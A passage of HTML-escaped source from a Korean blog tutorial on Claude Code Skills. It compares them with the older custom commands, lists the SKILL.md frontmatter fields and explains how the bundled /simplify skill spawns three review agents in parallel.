    &lt;code&gt;/batch&lt;/code&gt;&lt;span style=&quot;font-size: 13px; color: #888;&quot;&gt;(이상 v2.1.0, 1월 24일)&lt;/span&gt;, &lt;code&gt;/debug&lt;/code&gt;&lt;span
      style=&quot;font-size: 13px; color: #888;&quot;&gt;(v2.1.30, 2월 3일)&lt;/span&gt;는 설치 없이 바로 쓸 수 있는 강력한 멀티에이전트 워크플로우다. (멀티에이전트: 여러 AI가
    동시에 서로 다른 역할을 맡아 협업하는 방식)&lt;/p&gt;
  &lt;!-- 목차 --&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
    &lt;h3
      style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot;
      data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
    &lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude Code Skills란
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;Skills의 개념과 등장 배경&lt;/li&gt;
          &lt;li&gt;Commands에서 Skills로: 무엇이 달라졌나&lt;/li&gt;
          &lt;li&gt;Bundled Skills vs Custom Skills&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Bundled Skills: 내장 스킬 3종 완전 정복
        &lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot;
          data-ke-list-type=&quot;disc&quot;&gt;
          &lt;li&gt;/simplify &amp;mdash; 실전 시나리오&lt;/li&gt;
          &lt;li&gt;/batch &amp;mdash; 실전 시나리오&lt;/li&gt;
          &lt;li&gt;/debug &amp;mdash; 실전 시나리오&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;보너스: /btw &amp;mdash; 작업 중 사이드 질문&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;트러블슈팅 &amp;amp; FAQ&lt;/li&gt;
      &lt;li style=&quot;margin-bottom: 5px;&quot;&gt;참고 자료&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- ===== 섹션 1 ===== --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Claude Code Skills란&lt;/b&gt;&lt;/h2&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;skills에 대해서는 다른글들에서 다뤘고, 어느정도 이해도가 있다는 가정하에 간단하게만 작성하고 넘어 간다.&lt;/p&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Skills의 개념과
    등장 배경&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Skills(스킬)&lt;/b&gt;은 Claude Code에서 &lt;span
      style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Claude의 능력을 확장하는 모듈형 지침 파일&lt;/b&gt;&lt;/span&gt;이다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;디렉토리 안에 &lt;code&gt;SKILL.md&lt;/code&gt; 파일을 작성하면, Claude가 이를 자신의 도구 상자에
    추가한다. 관련 대화가 나오면 자동으로 불러오거나, &lt;code&gt;/스킬이름&lt;/code&gt;으로 직접 호출할 수 있다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Skills는 &lt;a href=&quot;https://agentskills.io&quot; target=&quot;_blank&quot;
      rel=&quot;noopener&quot;&gt;&lt;b&gt;Agent Skills&lt;/b&gt;&lt;/a&gt; 오픈 스탠다드를 따른다. 이 표준은 여러 AI 도구에서 공통으로 동작하도록 설계되어 있다. (출처: &lt;a
      href=&quot;https://agentskills.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;agentskills.io&lt;/a&gt;) &lt;br /&gt;Claude Code는 여기에 &lt;b&gt;실행
      제어(invocation control)&lt;/b&gt;, &lt;b&gt;서브에이전트 실행(context: fork)&lt;/b&gt;, &lt;b&gt;동적 컨텍스트 주입(!문법)&lt;/b&gt;을 추가로 제공한다.&lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Commands에서
    Skills로: 무엇이 달라졌나&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이전에는 &lt;code&gt;.claude/commands/&lt;/code&gt; 폴더에 마크다운 파일을 넣는 방식(Custom
    Commands)을 사용했다. Skills 시스템은 이를 완전히 포함하면서 더 강력한 기능을 추가한다.&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
        &lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기존 Commands&lt;/th&gt;
        &lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Skills (현재)&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;저장 경로&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.claude/commands/review.md&lt;/code&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;.claude/skills/review/SKILL.md&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;호환성&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;그대로 동작 (하위 호환)&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Skills 우선 (동명이면 Skills 승리)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;보조 파일&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;단일 파일만&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;디렉토리 안에 템플릿&amp;middot;예시&amp;middot;스크립트 함께&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;자동 호출&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;제한적&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;description 기반 자동 감지&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;실행 격리&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;context: fork&lt;/code&gt;로 서브에이전트 격리 실행&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;오픈 스탠다드&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;독자 방식&lt;/td&gt;
        &lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Agent Skills 표준 준수&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;div
    style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt; 기존 Commands 사용자라면?&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;지금 당장 바꾸지 않아도 된다. &lt;code&gt;.claude/commands/&lt;/code&gt; 파일은 그대로 동작한다.&lt;/p&gt;
    &lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;다만, 새로운 스킬을 만든다면 &lt;code&gt;.claude/skills/&lt;/code&gt; 방식을 권장한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Bundled
    Skills vs Custom Skills&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Skills는 크게 두 종류로 나뉜다.&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th
          style=&quot;padding: 12px 15px; background-color: #e8f4f8; border: 2px solid #b3d9ff; text-align: center; font-size: 15px; color: #0066cc; width: 50%;&quot;&gt;
          Bundled Skills (내장)&lt;/th&gt;
        &lt;th
          style=&quot;padding: 12px 15px; background-color: #d4edda; border: 2px solid #28a745; text-align: center; font-size: 15px; color: #28a745; width: 50%;&quot;&gt;
          Custom Skills (커스텀)&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 15px; border: 1px solid #b3d9ff; vertical-align: top;&quot;&gt;
          &lt;ul style=&quot;margin: 0; padding-left: 18px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
            &lt;li&gt;Claude Code에 기본 탑재&lt;/li&gt;
            &lt;li&gt;설치&amp;middot;설정 불필요&lt;/li&gt;
            &lt;li&gt;&lt;code&gt;/simplify&lt;/code&gt;, &lt;code&gt;/batch&lt;/code&gt;, &lt;code&gt;/debug&lt;/code&gt;&lt;/li&gt;
            &lt;li&gt;내부적으로 멀티에이전트 스폰&lt;/li&gt;
            &lt;li&gt;코드베이스에 맞게 자동 적응&lt;/li&gt;
          &lt;/ul&gt;
        &lt;/td&gt;
        &lt;td style=&quot;padding: 15px; border: 1px solid #b3d9ff; vertical-align: top;&quot;&gt;
          &lt;ul style=&quot;margin: 0; padding-left: 18px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
            &lt;li&gt;직접 &lt;code&gt;SKILL.md&lt;/code&gt; 작성&lt;/li&gt;
            &lt;li&gt;개인&amp;middot;프로젝트&amp;middot;조직 범위 선택&lt;/li&gt;
            &lt;li&gt;어떤 내용이든 패키징 가능&lt;/li&gt;
            &lt;li&gt;서브에이전트 격리 실행 지원&lt;/li&gt;
            &lt;li&gt;팀/조직 공유&amp;middot;배포 가능&lt;/li&gt;
          &lt;/ul&gt;
        &lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 10px; padding: 18px 22px; margin: 20px 0 25px 0;&quot;&gt;
    &lt;b&gt;SKILL.md 공식 프론트매터 필드 빠른 참조&lt;/b&gt;
    &lt;p style=&quot;margin: 8px 0 12px 0; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;커스텀 스킬 작성 시 사용할 수 있는 전체 필드
      목록이다.&lt;/p&gt;
    &lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
      &lt;thead&gt;
        &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
          &lt;th style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; width: 30%;&quot;&gt;필드&lt;/th&gt;
          &lt;th style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff; width: 15%;&quot;&gt;기본값&lt;/th&gt;
          &lt;th style=&quot;padding: 8px 12px; border: 1px solid #b3d9ff;&quot;&gt;설명&lt;/th&gt;
        &lt;/tr&gt;
      &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;name&lt;/code&gt;&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff; color: #666;&quot;&gt;디렉토리명&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;슬래시 커맨드 이름. 소문자&amp;middot;숫자&amp;middot;하이픈, 최대 64자&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;description&lt;/code&gt;&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff; color: #666;&quot;&gt;첫 단락&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;스킬 설명 및 언제 사용할지. Claude가 자동 로드 여부 결정에 활용&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;argument-hint&lt;/code&gt;&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff; color: #666;&quot;&gt;없음&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;자동완성 시 표시되는 인수 힌트. 예: &lt;code&gt;[issue-number]&lt;/code&gt;
          &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;disable-model-invocation&lt;/code&gt;&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff; color: #666;&quot;&gt;false&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;true&lt;/code&gt;이면 Claude가 자동 호출 불가. 사용자만
            &lt;code&gt;/이름&lt;/code&gt;으로 직접 호출&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;user-invocable&lt;/code&gt;&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff; color: #666;&quot;&gt;true&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;false&lt;/code&gt;이면 &lt;code&gt;/&lt;/code&gt; 메뉴에서 숨김. Claude만
            자동 호출 가능&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;allowed-tools&lt;/code&gt;&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff; color: #666;&quot;&gt;없음&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;권한 요청 없이 바로 사용 가능한 도구 목록&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;model&lt;/code&gt;&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff; color: #666;&quot;&gt;없음&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;이 스킬 활성화 시 사용할 모델 지정&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;context&lt;/code&gt;&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff; color: #666;&quot;&gt;없음&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;fork&lt;/code&gt;로 설정하면 격리된 서브에이전트 컨텍스트에서 실행 (현재
            &lt;code&gt;fork&lt;/code&gt;가 유일한 옵션)&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;agent&lt;/code&gt;&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff; color: #666;&quot;&gt;general-purpose&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;context: fork&lt;/code&gt; 사용 시 서브에이전트 타입 지정.
            &lt;code&gt;Explore&lt;/code&gt;, &lt;code&gt;Plan&lt;/code&gt;, 커스텀 에이전트명 가능&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;hooks&lt;/code&gt;&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff; color: #666;&quot;&gt;없음&lt;/td&gt;
          &lt;td style=&quot;padding: 7px 12px; border: 1px solid #b3d9ff;&quot;&gt;스킬 생명주기에 스코프된 훅 설정&lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
    &lt;/table&gt;
    &lt;p style=&quot;margin: 10px 0 0 0; font-size: 12px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;AgentSkills 오픈 표준 공통
      필드(&lt;code&gt;license&lt;/code&gt;, &lt;code&gt;compatibility&lt;/code&gt;, &lt;code&gt;metadata&lt;/code&gt;)도 사용 가능. 커스텀 스킬 작성 상세는 &lt;a
        href=&quot;https://goddaehee.tistory.com/entry/claude-code-skills-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Part 1
        가이드&lt;/a&gt; 참고.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- ===== 섹션 2 ===== --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Bundled Skills: 내장 스킬 3가지 살펴보기&lt;/b&gt;&lt;/h2&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Bundled Skills는 Claude Code에 기본 탑재된 스킬로, 별도 설치 없이 바로 사용할 수 있다.
  &lt;/p&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반 슬래시 커맨드와 달리 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;고정 로직이 아닌 프롬프트
        기반&lt;/b&gt;&lt;/span&gt;으로 동작하기 때문에, Claude가 에이전트를 스폰하고 파일을 읽으며 여러분의 코드베이스에 맞게 작업을 조율한다.&lt;/p&gt;
  &lt;!-- /simplify --&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; border: 2px solid #b3d9ff; border-bottom: none; border-radius: 10px 10px 0 0; padding: 12px 20px; margin-top: 25px; margin-bottom: 0;&quot;&gt;
    &lt;code style=&quot;font-size: 20px; font-weight: bold; color: #0066cc;&quot;&gt;/simplify&lt;/code&gt; &lt;span
      style=&quot;margin-left: 10px; font-size: 14px; color: #555;&quot;&gt;&amp;mdash; 코드 품질 자동 개선&lt;/span&gt;&lt;/div&gt;
  &lt;div
    style=&quot;border: 2px solid #b3d9ff; border-top: none; border-radius: 0 0 10px 10px; padding: 20px; margin-bottom: 25px;&quot;&gt;
    &lt;p style=&quot;margin: 0 0 15px 0;&quot; data-ke-size=&quot;size16&quot;&gt;최근 변경된 파일을 &lt;b&gt;코드 재사용성&amp;middot;품질&amp;middot;효율성&lt;/b&gt; 세 가지 관점에서 자동으로
      검토하고 수정한다. 기능 구현이나 버그 수정 후 코드를 정리할 때 실행한다.&lt;/p&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 15px 0 10px;&quot; data-ke-size=&quot;size20&quot;&gt;어떻게 동작하나?&lt;/h4&gt;
    &lt;div
      style=&quot;background-color: #f0f4f8; padding: 18px; border-radius: 8px; border: 1px solid #d0d7de; margin-bottom: 15px;&quot;&gt;
      &lt;pre class=&quot;angelscript&quot;
        style=&quot;margin: 0; font-family: 'Fira Code', monospace; font-size: 14px; line-height: 1.8;&quot;&gt;&lt;code&gt;/simplify 실행
│
├── 에이전트 1: 코드 재사용성 검토 ──┐
├── 에이전트 2: 코드 품질 검토 ──────┤ (병렬 실행)
└── 에이전트 3: 효율성 검토 ─────────┘
│
결과 취합 후 수정 적용&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;세 개의 리뷰 에이전트를 &lt;b&gt;병렬로&lt;/b&gt;(동시에 여러 작업 처리) 스폰(생성&amp;middot;실행)하여 동시에
      검토한 후, 결과를 통합해 수정을 적용한다.&lt;/p&gt;
    &lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
    &lt;h4 style=&quot;font-size: 16px; color: #1a3a52; margin: 15px 0 10px;&quot; data-ke-size=&quot;size20&quot;&gt;사용 방법&lt;/h4&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 18px; border-radius: 8px; font-family: 'Fira Code', monospace; font-size: 14px; margin-bottom: 12px;&quot;&gt;
      &lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;// 기본 실행 (최근 변경 파일 전체 검토)&lt;/div&gt;
      &lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/simplify&lt;/code&gt;&lt;/pre&gt;
      &lt;br /&gt;
      &lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;// 특정 관점에 집중 (자유 텍스트 전달)&lt;/div&gt;
      &lt;pre class=&quot;mel&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/simplify focus on memory efficiency
/simplify 중복 코드 제거에 집중해줘&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; border-radius: 0 8px 8px 0;&quot;&gt;
      &lt;b&gt; 언제 쓰면 좋을까?&lt;/b&gt; 기능 구현 직후, PR(Pull Request: 코드 변경사항을 팀원에게 검토 요청하는 것) 제출 전, 리팩토링(기능은 그대로 두고 코드 구조를 개선하는 작업) 완료 후
      빠른 품질 체크가 필요할 때.&lt;/div&gt;
    &lt;h4
      style=&quot;font-size: 16px; color: #1a3a52; margin: 22px 0 12px; border-left: 4px solid #0066cc; padding-left: 10px;&quot;
      data-ke-size=&quot;size20&quot;&gt;활용 시나리오&lt;/h4&gt;
    &lt;div
      style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px; margin-bottom: 15px;&quot;&gt;
      &lt;b&gt;시나리오 1: 기능 구현 직후 PR 전 품질 체크&lt;/b&gt;
      &lt;p style=&quot;margin: 8px 0 10px 0; font-size: 14px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;새 &lt;code&gt;UserCard&lt;/code&gt; 컴포넌트를
        구현했다. 기능은 동작하지만 빠르게 짜서 코드가 지저분하다. PR 올리기 전 /simplify를 실행한다.&lt;/p&gt;
      &lt;div
        style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin-bottom: 10px;&quot;&gt;
        &lt;pre class=&quot;elixir&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ /simplify&lt;/code&gt;&lt;/pre&gt;
      &lt;/div&gt;
      &lt;ul style=&quot;margin: 6px 0 0 18px; font-size: 13px; color: #555; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
        &lt;li&gt;에이전트 3개가 병렬로 스폰 &amp;rarr; 재사용성&amp;middot;품질&amp;middot;효율성 동시 검토&lt;/li&gt;
        &lt;li&gt;결과 통합 후 수정 적용: 중복 스타일 공통화, 조건부 렌더링 단순화 등&lt;/li&gt;
      &lt;/ul&gt;
    &lt;/div&gt;
    &lt;div
      style=&quot;background-color: #f0f4f8; border: 2px dashed #b3d9ff; border-radius: 8px; padding: 28px; text-align: center; margin: 12px 0 18px 0; color: #888; font-size: 14px;&quot;&gt;
      &lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 3개의 리뷰 에이전트를 병렬 스폰 하는 모습&amp;nbsp;&lt;/p&gt;
      &lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 하기 tip 의 /btw는 이후에 다룰 예정이다.&lt;/p&gt;
      &lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;310&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDyO1f/dJMcaa5zzIn/62ms9JLmhZFJC8IfmuYfmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDyO1f/dJMcaa5zzIn/62ms9JLmhZFJC8IfmuYfmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDyO1f/dJMcaa5zzIn/62ms9JLmhZFJC8IfmuYfmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDyO1f%2FdJMcaa5zzIn%2F62ms9JLmhZFJC8IfmuYfmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;834&quot; height=&quot;310&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;310&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

      &lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 소스 리팩토링 진행&lt;/p&gt;
